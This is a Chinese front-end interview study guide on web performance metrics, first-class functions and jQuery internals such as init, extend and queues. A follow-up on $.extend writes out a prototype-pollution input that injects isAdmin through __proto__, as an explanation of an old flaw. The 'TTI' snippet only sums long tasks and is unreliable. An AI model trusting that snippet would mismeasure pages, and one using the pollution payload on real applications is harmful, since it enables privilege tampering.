  • TTFB(Time To First Byte):表示从发起请求到接收到第一个字节的时间,衡量服务器响应速度。
  • TTI(Time To Interactive):表示页面变得可交互的时间,即用户可以进行操作和与页面进行交互的时间点。
  • TBT(Total Blocking Time):衡量页面在加载过程中存在的阻塞时间总和,即浏览器忙于处理 JavaScript 执行而导致无法响应用户输入的时间。

这些指标可以通过性能分析工具或浏览器开发者工具来获得。优化这些指标有助于提升页面加载速度、响应性和用户体验。

以下是这些指标的计算方法和示例代码:

1. LCP(Largest Contentful Paint):

  • 计算方法:监测到页面上的最大可见元素(如图片、视频等)加载完成的时间点。
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
    if (entry.entryType === 'largest-contentful-paint') {
        console.log('LCP:', entry.renderTime || entry.loadTime);
    }
    }
});
observer.observe({ type: 'largest-contentful-paint', buffered: true });

2. FCP(First Contentful Paint):

  • 计算方法:测量页面上第一个内容元素(如文字、图片)呈现的时间。
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
    if (entry.entryType === 'paint' && entry.name === 'first-contentful-paint') {
        console.log('FCP:', entry.startTime);
    }
    }
});
observer.observe({ type: 'paint', buffered: true });

3. FID(First Input Delay):

  • 计算方法:
    • 测量用户首次与页面交互(点击链接、按钮等)到浏览器实际响应该交互的时间。
    • 计算两个时间点之间的差值,即为 FID。
document.addEventListener('DOMContentLoaded', () => {
    const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        if (entry.entryType === 'first-input' && entry.startTime < 5000) {
        console.log('FID:', entry.processingStart - entry.startTime);
        }
    }
    });
    observer.observe({ type: 'first-input', buffered: true });
});

4. CLS(Cumulative Layout Shift):

  • 计算方法:监测到页面上元素布局发生变化时,记录布局变化的量。将所有布局变化的量累积起来,即为 CLS。
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.entryType === 'layout-shift') {
      console.log('CLS:', entry.value);
    }
  }
});
observer.observe({ type: 'layout-shift', buffered: true });

5. TTFB(Time To First Byte):

  • 计算方法:
    • 记录发起请求的时间点。
    • 监测到接收到第一个字节的时间点。
    • 计算两个时间点之间的差值,即为 TTFB。
const startTime = performance.now();
fetch('https://example.com')
  .then((response) => {
    const endTime = performance.now();
    const duration = endTime - startTime;
    console.log('TTFB:', duration);
    return response;
  });

6. TTI(Time To Interactive):

  • 计算方法:测量页面变得可交互的时间,即用户可以进行操作和与页面进行交互的时间点。
    • 监测到页面上的关键元素加载完成的时间点。
    • 监测到所有关键脚本的执行完成的时间点。
    • 监测到用户首次与页面交互的时间点。
    • 计算这些时间点之间的最大值,即为 TTI。
function calculateTTI() {
    const longTasks = performance.getEntriesByType('longtask');
    const blockingTime = longTasks.reduce((total, task) => total + task.duration, 0);
    console.log('TTI:', blockingTime);
}

window.addEventListener('load', () => {
    setTimeout(calculateTTI, 5000);
});

7. TBT(Total Blocking Time):

  • 计算方法:衡量页面在加载过程中存在的阻塞时间总和,即浏览器忙于处理 JavaScript 执行而导致无法响应用户输入的时间。
    • 监测到页面加载过程中 JavaScript 阻塞用户输入的时间段。
    • 将所有阻塞时间段的持续时间累积起来,即为 TBT。
function calculateTBT() {
    const longTasks = performance.getEntriesByType('longtask');
    const blockingTime = longTasks.reduce((total, task) => total + task.duration, 0);
    console.log('TBT:', blockingTime);
}

window.addEventListener('load', () => {
    setTimeout(calculateTBT, 5000);
});

上述示例代码可以在页面中嵌入并运行,通过浏览器的开发者工具或控制台查看相应的性能指标输出。注意,这些示例代码只是基本的计算方法,实际使用时可能需要根据具体的情况进行调整和扩展。此外,为了准确测量性能指标,建议在真实用户环境中进行测试和监测。

使用 web-vitals 库可以更方便地获取和处理性能指标。下面是使用 web-vitals 库的示例代码:

import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

// CLS (Cumulative Layout Shift)
getCLS(console.log);

// FID (First Input Delay)
getFID(console.log);

// LCP (Largest Contentful Paint)
getLCP(console.log);

// FCP (First Contentful Paint)
getFCP(console.log);

// TTFB (Time To First Byte)
getTTFB(console.log);

上述代码使用了 getCLS、getFID、getLCP、getFCP 和 getTTFB 函数来获取对应的性能指标,并将结果通过回调函数打印到控制台。

要使用 web-vitals 库,需要先安装该库并在项目中引入。可以使用 npm 或 yarn 进行安装:

npm install web-vitals

然后,在项目中引入 web-vitals:

import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

接下来,可以通过调用相应的函数来获取性能指标,并在回调函数中处理指标的结果。示例中使用 console.log 打印结果,但你可以根据需要进行其他的处理操作。

请注意,以上示例代码仅展示了如何使用 web-vitals 来获取指标,实际应用中可能需要根据具体情况进行处理和使用其他工具或方法来进行更全面的性能分析和优化。

💬 面试官追问

  • 线上 LCP 的 P75 是 4s,你从哪开始查?

    先看 LCP 元素是什么,web-vitals 的 attribution 能直接告诉你,多数是首屏大图或标题。再拆成 TTFB、资源加载延迟、加载耗时、渲染延迟四段,看哪段最长:图片发现得晚就加 fetchpriority="high" 或 preload,TTFB 高就查服务端和缓存。

  • 为什么上报性能数据要看 P75 而不是平均值?

    性能数据是长尾分布,少数极慢的样本会把平均值拉偏,也会被大量快样本掩盖掉慢用户的体验。P75 代表 75% 的用户都不比这差,Google 评估 Core Web Vitals 用的也是 P75。

  • INP 很差,但 Lighthouse 跑分很高,矛盾吗?

    不矛盾。Lighthouse 是一次没有真实交互的实验室加载,测不出 INP,只能用 TBT 近似。INP 差通常是某个点击后跑了长任务,用 Performance 面板复现那次交互,把长任务拆开或用 scheduler.yield() 让出主线程。

  • CLS 偏高,最常见的原因有哪些?

    图片和广告位没写宽高、字体加载后替换导致文字跳动、接口回来后在上方插入内容。给媒体元素写 width / height 或 aspect-ratio,异步内容提前占位,字体用 font-display 配合 size-adjust 减少跳动。

  • TTFB 怎么用 Performance API 算出来?

    const [nav] = performance.getEntriesByType('navigation'); nav.responseStart 就是从导航开始到首字节的时间。如果只想看服务端处理耗时,用 responseStart - requestStart。

# 126 谈谈你对函数是一等公民的理解

⚡ 30 秒速记

  • 一等公民 = 函数就是普通值:能赋给变量、当参数、当返回值、放进数组和对象
  • 由此才有高阶函数、回调、闭包、柯里化、函数组合、中间件
  • 函数本质是对象:typeof fn === 'function',但能挂属性,比如 fn.cache = {}
  • 前端到处是它:map(fn)、addEventListener('click', fn)、React 函数组件和 Hooks、useCallback 返回函数
  • 易错:函数被当值传走后 this 会丢;闭包引用大对象会让它释放不掉

函数是一等公民,意思就是函数和数字、字符串一样是普通的值,能存、能传、能返回。 正是因为这个,arr.map(x => x * 2) 才能把函数当参数传进去,debounce(fn, 300) 才能返回一个包装后的新函数,这就是高阶函数。再加上闭包,返回的函数还能记住创建时的变量,像防抖里的定时器 id 就是这么藏住的。React 函数组件、Hooks、Redux 中间件,底层都依赖这个特性。要留意的是函数被当成值传出去后,原来的 this 就不跟着走了。

JavaScript 中的函数被称为一等公民(First-class Citizens),这意味着函数在语言中被视为普通的值,可以像其他数据类型(例如数字、字符串、对象)一样被传递、赋值、存储和返回。

以下是对 JavaScript 函数作为一等公民的几个重要特性和理解:

  1. 可以赋值给变量:函数可以像其他数据类型一样赋值给变量。你可以将函数定义存储在变量中,并在需要时将其作为值传递给其他函数或存储在数据结构中。
  2. 可以作为参数传递:函数可以作为参数传递给其他函数。这使得函数能够接受其他函数作为输入,并根据需要执行或处理。
  3. 可以作为返回值:函数可以作为另一个函数的返回值。你可以在一个函数内部定义并返回另一个函数,这使得函数能够灵活地生成和返回其他函数。
  4. 可以存储在数据结构中:函数可以存储在数组、对象或其他数据结构中。这使得你可以在需要时使用函数,并根据需求对其进行组合、迭代或操作。
  5. 可以通过字面量或表达式定义:函数可以通过函数字面量(函数表达式)或函数声明来定义。这为我们提供了灵活性,可以根据需要选择不同的方式来定义函数。
  6. 可以通过闭包捕获状态:由于 JavaScript 中的函数形成了闭包,函数可以访问其所在作用域中的变量。这意味着函数可以捕获并保持对外部变量的引用,即使在函数外部不可访问的情况下也可以使用。

这些特性使得 JavaScript 中的函数非常强大和灵活。函数作为一等公民使得我们可以使用函数式编程的思想和技术,如高阶函数、函数组合、柯里化等,以更加优雅和灵活地编写代码。

# 四、jQuery相关

💬 面试官追问

  • 手写一个 once,让函数只执行一次,怎么写?

    const once = fn => { let done = false, res; return function (...args) { if (!done) { done = true; res = fn.apply(this, args) } return res } }。返回函数加闭包,正好是一等函数的典型用法,apply(this) 是为了不丢调用方的 this。

  • ['1', '2', '3'].map(parseInt) 结果是什么?

    [1, NaN, NaN]。把函数直接当参数传时,map 会给回调传 (item, index, array),parseInt 把 index 当成了进制:parseInt('2', 1) 是 NaN。写成 map(s => parseInt(s, 10)) 或 map(Number)。

  • 在 React 里每次渲染都新建函数传给子组件,会有什么问题?

    函数是引用类型,每次都是新引用,子组件就算包了 React.memo 也会重渲染。确实有性能问题时用 useCallback 稳住引用,没问题就别到处加,useCallback 本身也有成本。

  • 高阶函数和闭包是什么关系?

    高阶函数是指接收或返回函数的函数,闭包是函数记住了定义时的作用域。高阶函数返回内部函数时几乎总会形成闭包,但闭包不一定要高阶函数,一个普通回调引用了外层变量也是闭包。

  • 函数能当对象用,这在实际中有什么用处?

    可以直接在函数上挂状态或元数据,比如 memoize 把缓存挂在 fn.cache 上,React 组件挂 displayName、defaultProps。类库也常这么做,jQuery 的 $ 本身是函数,又挂了 $.ajax 一堆方法。

# 1 你觉得jQuery源码有哪些写的好的地方

⚡ 30 秒速记

  • 先表个态:jQuery 现在不是选型问题,值得学的是设计思想,不是背 API
  • 免 new:jQuery() 里 return new jQuery.fn.init(),再用 init.prototype = jQuery.fn 把方法接上
  • 链式调用:写操作统一 return this;读操作(.val()、.css('color'))才返回值,链到这里就断了
  • 读写同名重载:.css('color') 是读,.css('color', 'red') 是写,靠参数个数分派,API 量少一半
  • 插件机制:$.extend 挂静态方法、$.fn.extend 挂实例方法,同一份实现靠 this 区分
  • 隔离:IIFE 包住全部代码,只暴露 $ 和 jQuery,noConflict() 还能把 $ 让出去

我觉得 jQuery 源码最值得学的是它怎么把一个库的对外接口做得又小又顺手。 说白了就几招:工厂函数免 new,调用方写 $('div') 就行;原型共享,让 init 造出来的对象直接用上 jQuery.fn 的所有方法;写操作 return this 撑起链式调用;$.fn 开放出去,第三方插件挂上来就跟内置方法一样用。再加上 IIFE 隔离作用域和 noConflict(),和别的库共存也不打架。这些套路今天写 SDK、写工具库照样用得上。

  • jQuery源码采用模块化的设计,将不同功能的代码模块化,并通过jQuery.fn扩展原型链,使得可以灵活地使用各种功能和方法。这样的设计使得代码结构清晰,易于维护和扩展。
  • jQuery源码中考虑了跨浏览器兼容性,通过封装和处理不同浏览器的差异,使得开发者可以方便地编写跨浏览器兼容的代码。
  • jQuery源码中使用了许多优化技巧,如缓存变量、使用局部作用域、使用原生DOM操作等,以提高性能和执行效率。
  • jQuery源码注重代码的可读性和可维护性,采用了语义化的命名和良好的代码风格,使得代码易于理解和维护。
  • jQuery源码提供了丰富的插件系统,使得开发者可以根据自己的需求扩展和定制jQuery的功能,且插件之间可以互相独立运行,提高了代码的可扩展性和重用性。

这些优点使得jQuery成为一个广泛使用的JavaScript库,并且为众多开发者提供了便利和效率。

以下是一个简单的示例,展示了jQuery源码中的一些写法和优点:

(function( window, undefined ) {
  // 在匿名函数中封装代码,避免全局污染

  var jQuery = function( selector, context ) {
    // jQuery的构造函数

    // 创建并返回一个jQuery对象,通过jQuery.fn扩展原型链

    return new jQuery.fn.init( selector, context );
  };

  // 将jQuery原型指向jQuery.fn,方便使用jQuery.fn的方法
  jQuery.fn = jQuery.prototype = {
    // jQuery的原型对象

    constructor: jQuery,

    // 扩展的方法和属性

    init: function( selector, context ) {
      // 初始化函数
      // ...

      return this;
    },

    // 更多方法...
  };

  // 在jQuery原型上扩展方法
  jQuery.fn.extend({
    // 扩展的方法
    // ...
  });

  // 将jQuery暴露到全局作用域
  window.jQuery = window.$ = jQuery;

})( window );

这段代码展示了jQuery源码中的一些优点,包括使用匿名函数封装代码、通过原型链扩展方法、使用局部变量和缓存、考虑跨浏览器兼容性等。这些设计和写法使得jQuery成为一个功能强大、性能优秀、易于使用和扩展的JavaScript库。

💬 面试官追问

  • $('div') 没写 new,为什么拿到的对象能调 addClass?

    $() 内部是 return new jQuery.fn.init(selector),而源码里有一句 jQuery.fn.init.prototype = jQuery.fn。所以 init 的实例沿着原型链就能找到 jQuery.fn 上的 addClass,new 是库替你写了。

  • 那为什么不直接在 jQuery 函数里 return new jQuery()?

    会无限递归:new jQuery() 又执行 jQuery 函数体,函数体里又 new,直接栈溢出。所以要借一个单独的构造函数 init 来造对象,再把它的原型指回 jQuery.fn。

  • 项目里同时引了 jQuery 和另一个也占用 $ 的库,怎么办?

    调 var jq = jQuery.noConflict(),它会把 $ 还给之前那个库,后面用 jq 或 jQuery。插件里习惯写 (function ($) { ... })(jQuery),内部放心用 $,外面谁占着都无所谓。

  • 链式调用写到 .val() 后面再接 .addClass() 报错了,为什么?

    .val() 不传参是读操作,返回的是字符串,不是 jQuery 对象,后面自然没有 addClass。读操作是链的终点,要继续操作就重新拿一次元素。

  • 这些设计放到今天写一个工具库,你会抄哪几个?

    链式和插件扩展点我会保留,比如 axios 的拦截器、dayjs 的 extend 插件就是一个路子。读写同名重载我反而不太用,TS 里类型签名会写得很难看,拆成两个方法更清楚。

# 2 jQuery 的实现原理

⚡ 30 秒速记

  • 本质是个包装器:把一组原生 DOM 元素装进一个类数组对象,上面挂一堆方法
  • 三层结构:jQuery() 工厂函数 → jQuery.fn.init 构造对象 → jQuery.fn(就是 prototype)提供方法
  • init 按参数类型分派:选择器字符串走 Sizzle、HTML 字符串创建节点、DOM 元素直接包、函数等价于 $(document).ready()
  • 方法内部隐式迭代:.hide() 自己 each 一遍集合,调用方不用写循环
  • 外围模块:事件系统、Ajax、动画队列、Deferred、data 缓存,都挂在同一个 jQuery 命名空间下

jQuery 的核心就是一个包装器:$() 根据参数类型找到或创建 DOM 元素,把它们装进一个类数组对象,再让这个对象共享 jQuery.fn 上的方法。 传选择器就交给 Sizzle 查,传 '<div>' 这种 HTML 字符串就创建节点,传函数就是等 DOM 就绪再执行。拿到对象以后,.css()、.on() 这些方法内部都会遍历集合,挨个处理每个元素,所以一行代码能改一批节点。事件、Ajax、动画、Deferred 这些是外围模块,都围绕这个核心对象展开。

jQuery的实现原理可以总结如下:

  1. 使用立即调用表达式(IIFE):jQuery的源码被包裹在一个匿名的立即调用函数表达式中 (function() { /* jQuery code */ })();,这样可以创建一个独立的函数作用域,避免变量污染全局命名空间。
  2. 创建一个全局变量:通过 window.jQuery = window.$ = jQuery; 将 jQuery 对象赋值给 window 对象的属性,从而使得 jQuery 和 $ 在全局作用域下可访问,方便其他代码使用。
  3. 构造函数和原型链:jQuery 使用 function jQuery() { /* constructor code */ } 定义了一个构造函数,使用 jQuery.prototype 扩展了原型链,从而在构造函数的基础上拥有了一系列方法和属性。
  4. DOM 操作和选择器:jQuery 封装了一系列 DOM 操作和选择器的方法,使得开发者可以通过简洁的语法来操作和遍历 DOM 元素。
  5. 链式调用:jQuery 的方法通常返回 jQuery 对象本身,使得可以通过链式调用的方式进行连续的操作和修改。
  6. 事件处理:jQuery 提供了强大的事件处理机制,可以方便地绑定和解绑事件,并提供了一系列事件处理方法。
  7. AJAX 请求:jQuery 提供了简化的 AJAX 方法,使得进行异步数据请求变得更加便捷。
  8. 动画效果:jQuery 内置了一些常用的动画效果,如淡入淡出、滑动等,可以通过简单的方法调用来实现动画效果。

总的来说,jQuery的实现原理是通过封装和扩展原生JavaScript功能,提供了便捷的DOM操作、事件处理、动画效果、AJAX请求等功能,使得开发者可以更快速、高效地开发和操作网页应用。

💬 面试官追问

  • $(function(){}) 和 $(document).ready() 有区别吗?

    没区别,前者是后者的简写,init 判断参数是函数就转给 ready。它在 DOMContentLoaded 时执行,比 window.onload 早,不用等图片加载完。

  • $('<div class="a">') 和 $('div.a') 都是字符串,jQuery 怎么区分?

    看字符串是不是以 < 开头、以 > 结尾(源码里是一条叫 rquickExpr 的正则)。像 HTML 就解析成新节点,否则当选择器去查。所以把用户输入直接塞进 $() 是有 XSS 风险的,老版本还被爆过这个洞。

  • $('.item').hide() 选中了 0 个元素,会报错吗?

    不会,空集合的 length 是 0,方法内部遍历零次,静默什么都不做。这是方便也是坑:选择器写错了不报错,排查时要先打印 $('.item').length。

  • 让你用原生 JS 写一个最小版 $,核心几行是什么?

    一个 init 用 querySelectorAll 把元素拷到 this[i] 上并设 length,$ = s => new init(s),init.prototype = $.fn,$.fn 上的方法里 for 一遍 this,最后 return this。十来行就能跑通链式调用。

# 3 jQuery.fn 的 init 方法返回的 this 指的是什么对象

⚡ 30 秒速记

  • 指向 init 这次 new 出来的实例,也就是平时拿到的 jQuery 对象
  • 因为 jQuery.fn.init.prototype = jQuery.fn,这个实例能用上 jQuery.fn 的全部方法
  • 它不是原生 DOM 元素,而是包了一组元素的类数组:有 length 和数字下标
  • 取原生节点用 $el[0] 或 $el.get(0),转真数组用 .toArray()
  • init 作为构造函数被 new 调用,显式 return this 只是写法习惯,不写也一样返回实例

init 里的 this 就是 new jQuery.fn.init() 刚创建出来的那个实例,也就是我们拿到的 jQuery 对象。 关键在源码那一句 jQuery.fn.init.prototype = jQuery.fn,它把 init 实例的原型指回了 jQuery.fn,所以 this 能调到 addClass、css 这些方法。这个对象是个类数组,this[0]、this[1] 存的是原生元素,this.length 是数量。很多人会答成「指向 DOM 元素」,这是错的,DOM 元素只是它里面装的东西。

jQuery.fn 的 init 方法返回的 this 指的是 jQuery 对象本身。当用户使用 jQuery() 或 $() 初始化 jQuery 对象时,实际上是调用了 init 方法,而这个方法返回的就是一个 jQuery 对象,也就是 this。通过返回 this,jQuery 实现了链式调用的特性,可以连续对同一个 jQuery 对象进行操作和调用方法。例如:

var $div = $('div'); // 初始化一个 jQuery 对象
$div.addClass('highlight') // 对该 jQuery 对象调用 addClass 方法
    .css('color', 'red') // 继续调用 css 方法
    .text('Hello, World!'); // 继续调用 text 方法

// 上述操作可以链式调用,连续对同一个 jQuery 对象进行多个方法的操作

在这个例子中,$div 是一个 jQuery 对象,通过调用 addClass、css 和 text 方法,并在每次方法调用后返回 this,实现了链式调用的效果。这样的链式调用可以简化代码,提高可读性和开发效率。

💬 面试官追问

  • $('#app') instanceof jQuery 返回什么?

    true。instanceof 看的是 jQuery.prototype 在不在对象的原型链上,而 init 实例的原型就是 jQuery.fn,也就是 jQuery.prototype,所以判断成立。

  • $('#app') === $('#app') 呢?

    false。每次 $() 都 new 一个新的包装对象,哪怕里面装的是同一个元素。要比较是不是同一个节点,比 $a[0] === $b[0],或者用 $a.is($b)。

  • 在 each 回调里 this 又指向什么?

    指向当前遍历到的原生 DOM 元素,不是 jQuery 对象。所以回调里常见 $(this).addClass('x'),要再包一层才能用 jQuery 方法。箭头函数拿不到这个 this,得用第二个参数 (i, el) => $(el)。

  • init 里最后那句 return this 删掉会怎样?

    没影响。函数被 new 调用时,只要没返回一个对象,结果就是新创建的实例。写 return this 更多是为了可读性,真正撑起链式调用的是原型方法里的 return this。

# 4 jQuery.extend 与 jQuery.fn.extend 的区别

⚡ 30 秒速记

  • $.extend(obj):往 jQuery 函数本身挂静态方法,调用是 $.myUtil()
  • $.fn.extend(obj):往 jQuery.fn(原型)挂实例方法,调用是 $('div').myPlugin()
  • 源码里是同一个函数:只传一个对象时目标就是 this,this 是 jQuery 还是 jQuery.fn 决定挂到哪
  • $.extend(target, ...sources) 还兼职对象合并:会改写并返回 target,第一个参数传 true 是深合并
  • 写插件就用 $.fn.myPlugin = function () {},方法里的 this 是 jQuery 对象,记得 return this 保住链式

$.extend 挂的是工具方法,$.fn.extend 挂的是给选中元素用的实例方法,区别就在挂到 jQuery 上还是挂到原型上。 源码里这俩其实是同一个函数,jQuery.extend = jQuery.fn.extend = function () {...},只传一个对象时就把属性拷到 this 上,所以谁调用就扩展谁。$.extend 另一个高频用法是合并配置,比如 $.extend({}, defaults, options),第一个参数放空对象,免得把默认配置改脏了。

jQuery.extend() 和 jQuery.fn.extend() 是 jQuery 提供的两个方法用于扩展功能。

  • jQuery.extend(object):这个方法用于向 jQuery 添加静态方法,也称为工具方法。通过传入一个对象,可以将对象中的方法和属性添加到 jQuery 对象上,从而可以通过 $.method() 的形式来调用这些静态方法。例如,$.min() 和 $.max() 是通过 $.extend() 添加的静态方法,可以直接通过 $.min() 和 $.max() 来调用。
  • jQuery.extend([deep,] target, object1 [, objectN]):这个方法用于扩展目标对象(target),将一个或多个对象的属性和方法合并到目标对象中。它可以实现对象的深度拷贝,还可以控制是否进行递归合并。第一个参数 deep 是可选的,用于控制是否进行深度拷贝,默认为浅拷贝。目标对象将被修改,同时返回目标对象。这个方法主要用于对象的合并和扩展。
  • jQuery.fn.extend(json):这个方法用于向 jQuery 原型(jQuery.fn)添加成员函数,也称为实例方法。通过传入一个对象,可以将对象中的方法添加到 jQuery 原型上,从而可以通过 $(selector).method() 的形式来调用这些实例方法。例如,$.fn.alertValue() 是通过 $.fn.extend() 添加的实例方法,可以通过 $("#email").alertValue() 来调用。

综上所述,$.extend() 用于添加静态方法和进行对象的合并,而 $.fn.extend() 用于添加实例方法。它们都是为了扩展 jQuery 的功能,提供更多的方法和功能供开发者使用。

当使用 $.extend() 方法时,可以通过以下示例来理解其用法:

// 添加静态方法
$.extend({
  min: function(a, b) {
    return a < b ? a : b;
  },
  max: function(a, b) {
    return a > b ? a : b;
  }
});

console.log($.min(2, 3)); // 输出: 2
console.log($.max(4, 5)); // 输出: 5

// 合并对象
var settings = { validate: false, limit: 5 };
var options = { validate: true, name: "bar" };

$.extend(settings, options);

console.log(settings); // 输出: { validate: true, limit: 5, name: "bar" }

当使用 $.fn.extend() 方法时,可以通过以下示例来理解其用法:

// 添加实例方法
$.fn.extend({
  alertValue: function() {
    $(this).click(function() {
      alert($(this).val());
    });
  }
});

$("#email").alertValue(); // 点击元素时,弹出其值

在上述示例中,$.extend() 用于添加静态方法 min() 和 max(),可以通过 $.min() 和 $.max() 来调用。另外,$.extend() 也用于将 options 对象的属性合并到 settings 对象中,实现对象的合并。

而 $.fn.extend() 用于添加实例方法 alertValue(),通过选取具有 id 为 "email" 的元素,并调用 .alertValue() 方法,当点击该元素时会弹出其值。

💬 面试官追问

  • 写插件时 $.extend(defaults, options),第二次初始化发现默认值变了,为什么?

    extend 会直接改第一个参数。第一次合并把 options 写进了 defaults,后面再用就是脏的。改成 $.extend({}, defaults, options),拿空对象当目标。

  • 一个格式化金额的函数和一个让表格可排序的功能,分别挂哪?

    格式化金额和元素无关,挂 $.formatMoney;表格排序作用在选中的元素上,挂 $.fn.sortable,用法是 $('table').sortable()。判断标准就是要不要一组 DOM 元素当操作对象。

  • $.fn.myPlugin 里写了 this.click(...),有人改成 $(this).click(...),有必要吗?

    没必要。$.fn 方法里的 this 已经是 jQuery 对象了,再包一层只是多创建个对象。需要 $(this) 的是 each 回调里,那时 this 是原生元素。

  • 现在不用 jQuery 了,合并配置怎么写?

    浅合并用 { ...defaults, ...options } 或 Object.assign({}, defaults, options);要深合并就用 lodash 的 merge。注意展开运算符只合一层,嵌套对象会被整体覆盖掉。

# 5 jQuery 的属性拷贝(extend)的实现原理是什么,如何实现深拷贝

⚡ 30 秒速记

  • 遍历每个源对象的可枚举属性,逐个赋给 target;值是 undefined 的属性直接跳过
  • 第一个参数传 true 开深合并:值是纯对象或数组就递归,其它直接赋值
  • 防护一:target === copy 时跳过,避免把自己塞进自己;防护二:3.4 起跳过 __proto__,修了原型污染漏洞
  • 坑:数组是按下标合并不是替换,[1,2,3] 合 [4] 得到 [4,2,3]
  • 不处理循环引用,Date / RegExp / Map 按引用拷;现在纯拷贝用 structuredClone()

$.extend 就是一个 for...in 把源对象的属性往目标上抄,传 true 时遇到纯对象和数组就递归下去抄。 浅合并只拷第一层,嵌套对象拷的是引用,改结果会连带改到源对象;深合并会给嵌套结构建新的对象,互不影响。它判断能不能递归用的是 isPlainObject 和 Array.isArray,所以 Date、类实例这类还是按引用赋值。我踩过最多的坑是数组按下标合并:默认配置 [1,2,3],用户传 [4],以为结果是 [4],实际是 [4,2,3]。

jQuery 的属性拷贝(extend)实现原理如下:

  • 浅拷贝:当使用 $.extend(target, obj1, obj2, ...) 进行属性拷贝时,它会将 obj1、obj2 等对象的属性复制到 target 对象中。如果属性值是对象或数组,那么复制的是对象或数组的引用,即浅拷贝。这意味着修改复制后的对象中的引用类型属性时,原始对象和拷贝后的对象会同时受到影响。

  • 深拷贝:如果需要进行深拷贝,即复制对象及其引用类型属性的值而不是引用,可以通过使用 $.extend(true, target, obj1, obj2, ...) 来实现。这样,在拷贝过程中,会递归遍历对象的属性,对引用类型属性进行深度拷贝。

以下是一个示例,展示浅拷贝和深拷贝的区别:

var obj1 = {
  name: "poetry",
  age: 30,
  hobbies: ["reading", "playing"],
  address: {
    city: "New York",
    country: "USA"
  }
};

// 浅拷贝
var shallowCopy = $.extend({}, obj1);
shallowCopy.name = "Jane";
shallowCopy.hobbies.push("swimming");
shallowCopy.address.city = "San Francisco";

console.log(obj1); // 原始对象受到影响
console.log(shallowCopy);

// 深拷贝
var deepCopy = $.extend(true, {}, obj1);
deepCopy.name = "Mike";
deepCopy.hobbies.push("traveling");
deepCopy.address.city = "Chicago";

console.log(obj1); // 原始对象不受影响
console.log(deepCopy);

在上述示例中,浅拷贝的结果是 shallowCopy,它复制了 obj1 的属性,包括引用类型的数组 hobbies 和对象 address。当修改 shallowCopy 的属性值时,原始对象 obj1 也会受到影响。

而深拷贝的结果是 deepCopy,它同样复制了 obj1 的属性,但是在拷贝过程中,对于引用类型的属性值进行了深度拷贝。因此,修改 deepCopy 的属性值不会影响到原始对象 obj1。

$.extend 的核心逻辑去掉参数整理后,大概就是下面这样(对应 jQuery 3.x 源码,做了简化):

function extend(deep, target, ...sources) {
  for (const src of sources) {
    for (const key in src) {
      const copy = src[key]
      // 3.4 起:跳过 __proto__,防原型污染;跳过自引用,防死循环
      if (key === '__proto__' || target === copy) continue
      if (deep && copy && (isPlainObject(copy) || Array.isArray(copy))) {
        const old = target[key]
        // 目标已有同类型值就在它上面继续合并,所以数组是按下标合并
        const clone = Array.isArray(copy)
          ? (Array.isArray(old) ? old : [])
          : (isPlainObject(old) ? old : {})
        target[key] = extend(deep, clone, copy)
      } else if (copy !== undefined) {
        target[key] = copy // undefined 不覆盖
      }
    }
  }
  return target
}

extend(true, { a: [1, 2, 3] }, { a: [4] }) // { a: [4, 2, 3] }

几个容易被问到的细节都能从这段代码里看出来:for...in 会把原型链上的可枚举属性也拷过来;isPlainObject 只认 {} 和 Object.create(null) 这种纯对象,Date、RegExp、自定义类实例都按引用赋值;没有 WeakMap 记录访问过的对象,所以间接循环引用会栈溢出。今天如果只是想深拷贝一份数据,用原生的 structuredClone() 更稳;要做「默认配置 + 用户配置」的深合并,用 lodash 的 merge,或者自己写的时候对数组明确选择「替换」还是「合并」。

💬 面试官追问

  • 默认配置 tags: ['a','b','c'],用户传 tags: ['x'],深合并后得到什么?

    ['x','b','c']。$.extend(true, ...) 把数组当对象按下标合并,只覆盖了第 0 项。想要整体替换,合并完再手动 result.tags = options.tags,或者别对数组用深合并。

  • $.extend(true, {}, JSON.parse(userInput)),有什么安全问题?

    老版本有原型污染:用户传 {"__proto__": {"isAdmin": true}},深合并会改到 Object.prototype,全站对象都多了 isAdmin。3.4.0 修了,会跳过 __proto__ 这个键,所以老项目要先看版本号。

  • 对象里有循环引用,$.extend(true, {}, obj) 会怎样?

    只防了 target === copy 这一种直接自引用,间接的环会一直递归到栈溢出。要拷带环的数据用 structuredClone(obj),它原生支持循环引用和 Map、Set、Date。

  • 为什么值是 undefined 的属性没有覆盖过去?

    源码里 copy !== undefined 才赋值,这是故意的:用户传 { width: undefined } 时保留默认值。如果你真想把某个配置清掉,传 null,null 会被写过去。

# 6 jQuery 的队列是如何实现的

⚡ 30 秒速记

  • 队列就是存在元素 data 上的一个函数数组:queue() 往里推,dequeue() 取第一个执行
  • 出队时把 next 传给函数,函数里调 next() 才轮到下一个,异步任务也能串起来
  • 动画默认用 'fx' 队列,入队后会自动开跑;自定义队列要手动 dequeue() 启动
  • .delay() 也是靠往队列里塞一个 setTimeout 实现的,所以它只对队列里的东西生效
  • clearQueue() 清空没跑的,stop() 停当前动画;现代写法就是 async/await 顺序执行

jQuery 的队列就是挂在元素上的一个函数数组,queue() 往里推,dequeue() 从头取出来执行,靠 next() 一个接一个往下走。 关键是出队时会把 next 当参数传进去,函数什么时候调 next(),下一个任务就什么时候开始,所以哪怕里面是异步的,也能保证顺序。连写三个 .animate() 能按顺序播,就是因为它们都进了默认的 'fx' 队列,第一个入队时自动启动,每段动画结束再调 next。说白了这是 Promise 普及之前,手动驱动的一条任务链。

时序图 · 3 个参与者 / 10 步
alt 某个任务忘了调用 next正常调用 next调用代码调用代码fx 队列fx 队列动画任务动画任务animate 第一段入队1队列空闲,自动出队执行2animate 第二段入队3delay 入队4第一段还在播,后面的排队等第一段结束,调用 next5出队执行第二段6第二段结束,调用 next7出队执行 delay 定时器8队列卡住,后面全部不执行9队列清空,promise 变为完成10

jQuery 的队列是通过使用 queue()、dequeue() 和 clearQueue() 方法来实现的。

  • queue() 方法用于将一个或多个函数添加到指定元素的队列中。可以为每个队列命名,以便后续使用。函数将按照它们被添加到队列的顺序执行。
  • dequeue() 方法用于从队列中取出并执行队列中的下一个函数。它按照先进先出的顺序执行队列中的函数,并返回执行的结果。
  • clearQueue() 方法用于清空队列中的所有函数,使队列为空。

以下是一个示例,展示了如何使用队列控制方法:

var func1 = function() {
  console.log('事件1');
};

var func2 = function() {
  console.log('事件2');
};

var func3 = function() {
  console.log('事件3');
};

